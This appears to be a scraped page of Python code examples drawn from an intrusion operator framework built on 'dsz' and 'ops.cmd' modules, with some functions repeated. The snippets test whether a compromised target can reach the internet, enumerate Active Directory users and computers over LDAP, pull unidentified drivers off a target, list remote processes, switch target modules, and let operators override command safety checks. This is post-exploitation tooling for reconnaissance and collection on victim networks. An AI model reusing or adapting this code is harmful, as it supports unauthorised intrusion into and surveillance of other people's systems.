             cmd.optdict['send'] = ('"GET http://%s/ HTTP/1.0\\r\\nHost: %s\\r\\nUser-Agent: %s\\r\\nProxy-Connection: Keep-Alive\\r\\n\\r\\n"' % (self.domain, self.domain, self.userAgent))
         else:
             cmd = ops.cmd.getDszCommand('banner')
             cmd.optdict['ip'] = self.ip
             cmd.optdict['port'] = self.port
             cmd.optdict['wait'] = '5'
             cmd.optdict['send'] = '"GET / HTTP/1.0\\r\\n\\r\\n"'
     else:
         cmd = ops.cmd.getDszCommand('banner')
         cmd.optdict['ip'] = self.ip
         cmd.optdict['port'] = self.port
         cmd.optdict['wait'] = '5'
         cmd.optdict['send'] = ('"GET / HTTP/1.0\\r\\nHost: %s\\r\\nUser-Agent: %s\\r\\n\\r\\n"' % (self.domain, self.userAgent))
     obj = cmd.execute()
     if (not cmd.success):
         dsz.ui.Echo(('\tCan not get out to %s:%s' % (self.ip, self.port)), dsz.ERROR)
         return
     if (len(obj.transfer) == 0):
         dsz.ui.Echo(("\tWe seem to have gotten a 'Timeout waiting for data', check CMDID %s" % obj.cmdid), dsz.WARNING)
         return
     response = obj.transfer[0].text.splitlines()[0]
     dsz.ui.Echo(('\t%s' % response))
     if (response.find('200 OK') != (-1)):
         dsz.ui.Echo('We can get out successfully!', dsz.GOOD)
     else:
         dsz.ui.Echo('Non 200 OK Response Received', dsz.WARNING)
Exemple #43
0
def runldap(filter=None, menu=None, attr_want_dict=None, query=None):
    optdict = menu.all_states()
    print_disk = getmenubool(optdict['Configuration']['Print to disk'])
    print_screen = getmenubool(optdict['Configuration']['Print to screen'])
    target = optdict['Configuration']['Target']
    minimal = getmenubool(optdict['Configuration']['Minimal'])
    if ('Safety' in optdict['Configuration']):
        safety = int(optdict['Configuration']['Safety'])
    else:
        safety = 0
    want_dict = None
    if (not (attr_want_dict == '*')):
        for attr_key in attr_want_dict.keys():
            if filter.lower().startswith(attr_key.lower()):
                want_dict = attr_want_dict[attr_key]
    staged = False
    if (query is None):
        query = cleanchars(filter)
    if (safety > 0):
        count = getldapcount(target, filter)
        if (count > safety):
            dsz.ui.Echo(
                ('Count is %s, which is higher then the safety count of %s.' %
                 (count, safety)), dsz.WARNING)
            if (not dsz.ui.Prompt('Do you want to query anyway?', False)):
                return False
            if (query in ['Query_computers', 'Query_users']):
                if dsz.ui.Prompt('Do you want to stage the query?', True):
                    staged = True
    ldap_list = []
    alpha_list = 'qwertyuiopasdfghjklzxcvbnm1234567890'
    attr_list = []
    if (((minimal == False) or (want_dict is None)) and (staged is False)):
        cmd = ops.cmd.getDszCommand(('ldap -target %s -scope 2' % target))
        cmd.arglist.append(('-filter "%s"' % filter))
        ldapobj = cmd.execute()
        (ldap_list, attr_list) = processldap(ldapobj=ldapobj, dict=want_dict)
    elif (staged is False):
        cmd = ops.cmd.getDszCommand(
            ('ldap -target %s -scope 2 -attributes "%s"' %
             (target, ','.join(want_dict))))
        cmd.arglist.append(('-filter "%s"' % filter))
        ldapobj = cmd.execute()
        (ldap_list, attr_list) = processldap(ldapobj=ldapobj, dict=want_dict)
    elif (query == 'Query_computers'):
        for alpha in alpha_list:
            if ((minimal == False) or (want_dict is None)):
                cmd = ops.cmd.getDszCommand(
                    ('ldap -target %s -scope 2' % target))
                cmd.arglist.append((
                    '-filter "(&(objectCategory=computer)(sAMAccountName=%s*))"'
                    % alpha))
            else:
                cmd = ops.cmd.getDszCommand(
                    ('ldap -target %s -scope 2  -attributes "%s"' %
                     (target, ','.join(want_dict))))
                cmd.arglist.append((
                    '-filter "(&(objectCategory=computer)(sAMAccountName=%s*))"'
                    % alpha))
            ldapobj = cmd.execute()
            (return_list, return_attr) = processldap(ldapobj=ldapobj,
                                                     dict=want_dict)
            for attr in return_attr:
                if (not (attr in attr_list)):
                    attr_list.append(attr)
            ldap_list.extend(return_list)
    elif (query == 'Query_users'):
        for alpha in alpha_list:
            if ((minimal == False) or (want_dict is None)):
                cmd = ops.cmd.getDszCommand(
                    ('ldap -target %s -scope 2' % (target, )))
                cmd.arglist.append((
                    '-filter "(&(objectCategory=Person)(objectClass=User)(sAMAccountName=%s*))"'
                    % alpha))
            else:
                cmd = ops.cmd.getDszCommand(
                    ('ldap -target %s -scope 2 -attributes "%s"' %
                     (target, ','.join(want_dict))))
                cmd.arglist.append((
                    '-filter "(&(objectCategory=Person)(objectClass=User)(sAMAccountName=%s*))"'
                    % alpha))
            ldapobj = cmd.execute()
            (return_list, return_attr) = processldap(ldapobj=ldapobj,
                                                     dict=want_dict)
            for attr in return_attr:
                if (not (attr in attr_list)):
                    attr_list.append(attr)
            ldap_list.extend(return_list)
    if (len(ldap_list) > 0):
        printldaplist(ldap_list=ldap_list,
                      print_disk=print_disk,
                      print_screen=print_screen,
                      key_list=attr_list,
                      query=query)
    else:
        print 'No data returned'
    return (ldap_list, attr_list)
def freshscan(driver_list, autofreshscan=False, gath=None):
    count = 1
    unidentified_list = []
    for driver in driver_list:
        if (not ('UNIDENTIFIED' in driver['flags'])):
            continue
        driver['index'] = count
        count += 1
        project_name = ops.project.getTarget().project.name
        targetid = ops.project.getTargetID()
        pulled_date = ops.system.drivers.get_driver_report_date(
            driver=driver['file'].lower(),
            path=driver['dir'].lower(),
            sha1=driver['hash'],
            field='pulled')
        driver['pulled_date'] = pulled_date
        unidentified_list.append(driver)
    if (len(unidentified_list) == 0):
        return
    print '\n'
    dsz.ui.Echo((
        '[%s] The following drivers were unidentified and have no associated name'
        % ops.timestamp()))
    if (autofreshscan == False):
        dsz.ui.Echo('Which would you like to freshscan?')
    else:
        dsz.ui.Echo(
            ('These will be automatically sent to freshscan using userid %s' %
             autofreshscan))
    pprint(unidentified_list,
           header=[
               'Index', 'Driver', 'Path', 'Last Pulled', 'Size', 'Modified',
               'Accessed', 'Created'
           ],
           dictorder=[
               'index', 'file', 'dir', 'pulled_date', 'size', 'modified',
               'accessed', 'created'
           ])
    intlist = []
    if (autofreshscan == False):
        want = ''
        want = dsz.ui.GetString(
            'Please provide a list of indexes you would like (ex: "1,3,5-7,13") (0 quits): ',
            want)
        wantlist = want.split(',')
        if ('0' in wantlist):
            dsz.ui.Echo('Quitting', dsz.ERROR)
            return False
        for item in wantlist:
            if (len(item.split('-')) == 2):
                itemrange = item.split('-')
                for integer in range(int(itemrange[0]),
                                     (int(itemrange[1]) + 1)):
                    try:
                        intlist.append(integer)
                    except:
                        continue
            else:
                try:
                    intlist.append(int(item))
                except:
                    continue
        outlist = []
        userid = dsz.ui.GetInt('Please enter your ID')
    else:
        for item in range(1, (len(unidentified_list) + 1)):
            intlist.append(item)
        userid = autofreshscan
    if ((gath is None) or (gath == False)):
        usegath = dsz.ui.Prompt(
            'Do you want to use GATH to get the drivers? (You must know if it is safe to do so)'
        )
    else:
        usegath = True
    for item in unidentified_list:
        if (item['index'] in intlist):
            try:
                if usegath:
                    dsz.ui.Echo(('Using GATH to get %s' %
                                 os.path.join(item['dir'], item['file'])))
                    localfile = gathget(
                        targetfilename=os.path.join(item['dir'], item['file']))
                    if (localfile is not False):
                        ops.system.drivers.database_report_driver(
                            driver=item['file'].lower(),
                            path=item['dir'].lower(),
                            sha1=item['hash'],
                            field='pulled')
                        dsz.ui.Echo(((
                            'Running: %s' %
                            'python windows/freshscan.py -args "-local %s -userid %s"'
                        ) % (localfile, userid)))
                        cmd = ops.cmd.getDszCommand(
                            'python',
                            arglist=['windows/freshscan.py'],
                            args=('"-local %s -userid %s"' %
                                  (localfile, userid)))
                        cmd.execute()
                    else:
                        dsz.ui.Echo('Failed to get file via GATH.')
                else:
                    ops.system.drivers.database_report_driver(
                        driver=item['file'].lower(),
                        path=item['dir'].lower(),
                        sha1=item['hash'],
                        field='pulled')
                    dsz.ui.Echo(((
                        'Running: %s' %
                        'python windows/freshscan.py -args "-remote %s -userid %s"'
                    ) % (os.path.join(item['dir'], item['file']), userid)))
                    cmd = ops.cmd.getDszCommand(
                        'python',
                        arglist=['windows/freshscan.py'],
                        args=(
                            '"-remote %s -userid %s"' %
                            (os.path.join(item['dir'], item['file']), userid)))
                    cmd.execute()
            except:
                dsz.ui.Echo(('Could not freshscan %s' % item['file']),
                            dsz.ERROR)
Exemple #45
0
def freshscan(driver_list, autofreshscan=False, gath=None):
    count = 1
    unidentified_list = []
    for driver in driver_list:
        if (not ('UNIDENTIFIED' in driver['flags'])):
            continue
        driver['index'] = count
        count += 1
        project_name = ops.project.getTarget().project.name
        targetid = ops.project.getTargetID()
        pulled_date = ops.system.drivers.get_driver_report_date(driver=driver['file'].lower(), path=driver['dir'].lower(), sha1=driver['hash'], field='pulled')
        driver['pulled_date'] = pulled_date
        unidentified_list.append(driver)
    if (len(unidentified_list) == 0):
        return
    print '\n'
    dsz.ui.Echo(('[%s] The following drivers were unidentified and have no associated name' % ops.timestamp()))
    if (autofreshscan == False):
        dsz.ui.Echo('Which would you like to freshscan?')
    else:
        dsz.ui.Echo(('These will be automatically sent to freshscan using userid %s' % autofreshscan))
    pprint(unidentified_list, header=['Index', 'Driver', 'Path', 'Last Pulled', 'Size', 'Modified', 'Accessed', 'Created'], dictorder=['index', 'file', 'dir', 'pulled_date', 'size', 'modified', 'accessed', 'created'])
    intlist = []
    if (autofreshscan == False):
        want = ''
        want = dsz.ui.GetString('Please provide a list of indexes you would like (ex: "1,3,5-7,13") (0 quits): ', want)
        wantlist = want.split(',')
        if ('0' in wantlist):
            dsz.ui.Echo('Quitting', dsz.ERROR)
            return False
        for item in wantlist:
            if (len(item.split('-')) == 2):
                itemrange = item.split('-')
                for integer in range(int(itemrange[0]), (int(itemrange[1]) + 1)):
                    try:
                        intlist.append(integer)
                    except:
                        continue
            else:
                try:
                    intlist.append(int(item))
                except:
                    continue
        outlist = []
        userid = dsz.ui.GetInt('Please enter your ID')
    else:
        for item in range(1, (len(unidentified_list) + 1)):
            intlist.append(item)
        userid = autofreshscan
    if ((gath is None) or (gath == False)):
        usegath = dsz.ui.Prompt('Do you want to use GATH to get the drivers? (You must know if it is safe to do so)')
    else:
        usegath = True
    for item in unidentified_list:
        if (item['index'] in intlist):
            try:
                if usegath:
                    dsz.ui.Echo(('Using GATH to get %s' % os.path.join(item['dir'], item['file'])))
                    localfile = gathget(targetfilename=os.path.join(item['dir'], item['file']))
                    if (localfile is not False):
                        ops.system.drivers.database_report_driver(driver=item['file'].lower(), path=item['dir'].lower(), sha1=item['hash'], field='pulled')
                        dsz.ui.Echo((('Running: %s' % 'python windows/freshscan.py -args "-local %s -userid %s"') % (localfile, userid)))
                        cmd = ops.cmd.getDszCommand('python', arglist=['windows/freshscan.py'], args=('"-local %s -userid %s"' % (localfile, userid)))
                        cmd.execute()
                    else:
                        dsz.ui.Echo('Failed to get file via GATH.')
                else:
                    ops.system.drivers.database_report_driver(driver=item['file'].lower(), path=item['dir'].lower(), sha1=item['hash'], field='pulled')
                    dsz.ui.Echo((('Running: %s' % 'python windows/freshscan.py -args "-remote %s -userid %s"') % (os.path.join(item['dir'], item['file']), userid)))
                    cmd = ops.cmd.getDszCommand('python', arglist=['windows/freshscan.py'], args=('"-remote %s -userid %s"' % (os.path.join(item['dir'], item['file']), userid)))
                    cmd.execute()
            except:
                dsz.ui.Echo(('Could not freshscan %s' % item['file']), dsz.ERROR)
def flav_toggle(plugin, operation):
    if (operation == 'enable'):
        cmd = ops.cmd.getDszCommand(('moduletoggle -system %s_TARGET -set FLAV' % plugin.upper()), dszquiet=False)
    else:
        cmd = ops.cmd.getDszCommand(('moduletoggle -system %s_TARGET -set DEFAULT' % plugin.upper()), dszquiet=False)
    cmd.execute()
Exemple #47
0
 parser.add_option('-i', '--interval', action='store', default=5, type='int', dest='interval', help='Update interval (in seconds)')
 parser.add_option('-o', '--override', action='store_true', default=False, dest='override', help='Override the safety check')
 parser.add_option('-g', '--guimonitor', action='store_true', default=False, dest='guimonitor', help='Send to the DSZ monitor')
 (options, args) = parser.parse_args()
 comstr = ''.join(args)
 cmd = ops.cmd.getDszCommand(comstr, dszquiet=True, norecord=False)
 cmd.dszmonitor = options.guimonitor
 (safe, safetymsg) = cmd.safetyCheck()
 if (not safe):
     ops.error('Command safety check failed!')
     ops.error(('Failure: %s' % safetymsg))
     if options.override:
         ops.warn('Someone chose to override this safety check, so this monitor will still be run.  I hope they knew what they were doing')
     else:
         sys.exit((-1))
 mondata = cmd.execute()
 voldb = ops.db.get_voldb()
 targetID = ops.project.getTargetID()
 if options.savetotarget:
     tdb = ops.db.get_tdb()
 if (mondata is not None):
     vol_cache_id = voldb.save_ops_object(mondata, tag=options.tag, targetID=targetID)
     if options.savetotarget:
         tdb_cache_id = tdb.save_ops_object(mondata, tag=options.tag)
     while mondata.commandmetadata.isrunning:
         try:
             dsz.Sleep((options.interval * 1000))
             mondata.update()
             voldb.save_ops_object(mondata, cache_id=vol_cache_id, tag=options.tag, targetID=targetID)
             if options.savetotarget:
                 tdb.save_ops_object(mondata, cache_id=tdb_cache_id, tag=options.tag)
def emkg_plist(ip, dszquiet=False):
    flags = dsz.control.Method()
    if dszquiet:
        dsz.control.quiet.On()
    dsz.control.echo.Off()
    cmd = ops.cmd.getDszCommand('processes',
                                dszuser=ops.cmd.CURRENT_USER,
                                list=True,
                                target=(ip if (ip != '127.0.0.1') else None))
    ops.info(("Running '%s'..." % cmd))
    result = cmd.execute()
    if (not cmd.success):
        if (result.commandmetadata.status == 268435456):
            ops.error((
                'Open of registry failed.\n\tThis could be because access is denied or the network path was not found.\n\tCheck your logs for command ID %d for more information.'
                % result.cmdid))
            del flags
            return None
        elif (result.commandmetadata.status is None):
            dszlogger = DSZPyLogger()
            log = dszlogger.getLogger(LOGFILE)
            log.error(
                'Command did not execute, possibly the result of a malformed command line.'
            )
            ops.info(
                'A problem report has been automatically generated for this issue.',
                type=dsz.DEFAULT)
        else:
            ops.error((
                'Failed to query performance hive. Check your logs for command ID %d for more information.'
                % result.cmdid))
            del flags
            return None
    table = []
    echo = []
    for processitem in result.initialprocesslistitem.processitem:
        if ((processitem.id == 0) and (processitem.parentid == 0)):
            name = 'System Idle Process'
        else:
            name = processitem.name
        [code, comment] = check_process(name)
        table.append({
            'Path':
            processitem.path,
            'Process':
            name,
            'PID':
            processitem.id,
            'PPID':
            processitem.parentid,
            'Created':
            ('' if ((processitem.name == 'System') or
                    (processitem.name == 'System Idle Process')) else
             ('%s %s %s' % (processitem.created.date, processitem.created.time,
                            processitem.created.type.upper()))),
            'Comment':
            comment,
            'User':
            processitem.user
        })
        echo.append(code)
    if ((ip is None) or (ip == '127.0.0.1')):
        pprint(table,
               dictorder=[
                   'PID', 'PPID', 'Created', 'Path', 'Process', 'User',
                   'Comment'
               ],
               echocodes=echo)
    else:
        pprint(
            table,
            dictorder=['PID', 'PPID', 'Created', 'Path', 'Process', 'Comment'],
            echocodes=echo)
    del flags
    return result
def pulist(ip, dszquiet=False):
    flags = dsz.control.Method()
    if dszquiet:
        dsz.control.quiet.On()
    dsz.control.echo.Off()
    cmd = ops.cmd.getDszCommand('performance',
                                dszuser=ops.cmd.CURRENT_USER,
                                data='Process',
                                bare=True,
                                target=(ip if (ip != '127.0.0.1') else None))
    ops.info(("Running '%s'..." % cmd))
    result = cmd.execute()
    if (not cmd.success):
        if (result.commandmetadata.status == 268435456):
            ops.error((
                'Open of registry failed.\n\tThis could be because access is denied or the network path was not found.\n\tCheck your logs for command ID %d for more information.'
                % result.cmdid))
            del flags
            return None
        elif (result.commandmetadata.status is None):
            dszlogger = DSZPyLogger()
            log = dszlogger.getLogger(LOGFILE)
            log.error(
                'Command did not execute, possibly the result of a malformed command line.'
            )
            ops.info(
                'A problem report has been automatically generated for this issue.',
                type=dsz.DEFAULT)
        else:
            ops.error((
                'Failed to query performance hive. Check your logs for command ID %d for more information.'
                % result.cmdid))
            del flags
            return None
    if (not result.performance.object):
        ops.error((
            'Query succeeded but returned no data. Check your logs for command ID %d and hope for enlightenment.'
            % result.cmdid))
    regex = re.compile('.+\\....$')
    table = []
    echo = []
    uptime = None
    for instance in result.performance.object[0].instance:
        if (regex.match(instance.name) is None):
            proc = (instance.name + '.exe')
        else:
            proc = instance.name
        for c in instance.counter:
            if (c.name == '784'):
                pid = int(c.value)
            elif (c.name == '1410'):
                ppid = int(c.value)
            elif (c.name == '684'):
                runtime = datetime.timedelta(microseconds=(
                    (result.performance.perfTime100nSec - int(c.value)) // 10))
        if (((pid == 0) and (ppid == 0) and (instance.name == 'Idle')) or
            (((pid == 4) or (pid == 8)) and (instance.name == 'System'))):
            [code, comment] = [
                dsz.DEFAULT,
                ('System Idle Counter' if
                 (instance.name == 'Idle') else 'System Kernel')
            ]
        elif ((pid == 0) and (ppid == 0) and (instance.name == '_Total')
              and (runtime == datetime.timedelta(microseconds=0))):
            continue
        else:
            [code, comment] = check_process(proc)
        table.append({
            'Process': instance.name,
            'PID': pid,
            'PPID': ppid,
            'Comment': comment,
            'Elapsed Time': runtime
        })
        echo.append(code)
    pprint(table,
           dictorder=['PID', 'PPID', 'Elapsed Time', 'Process', 'Comment'],
           echocodes=echo)
    del flags
    return result
                   help='Send to the DSZ monitor')
 (options, args) = parser.parse_args()
 comstr = ''.join(args)
 cmd = ops.cmd.getDszCommand(comstr, dszquiet=True, norecord=False)
 cmd.dszmonitor = options.guimonitor
 (safe, safetymsg) = cmd.safetyCheck()
 if (not safe):
     ops.error('Command safety check failed!')
     ops.error(('Failure: %s' % safetymsg))
     if options.override:
         ops.warn(
             'Someone chose to override this safety check, so this monitor will still be run.  I hope they knew what they were doing'
         )
     else:
         sys.exit((-1))
 mondata = cmd.execute()
 voldb = ops.db.get_voldb()
 targetID = ops.project.getTargetID()
 if options.savetotarget:
     tdb = ops.db.get_tdb()
 if (mondata is not None):
     vol_cache_id = voldb.save_ops_object(mondata,
                                          tag=options.tag,
                                          targetID=targetID)
     if options.savetotarget:
         tdb_cache_id = tdb.save_ops_object(mondata, tag=options.tag)
     while mondata.commandmetadata.isrunning:
         try:
             dsz.Sleep((options.interval * 1000))
             mondata.update()
             voldb.save_ops_object(mondata,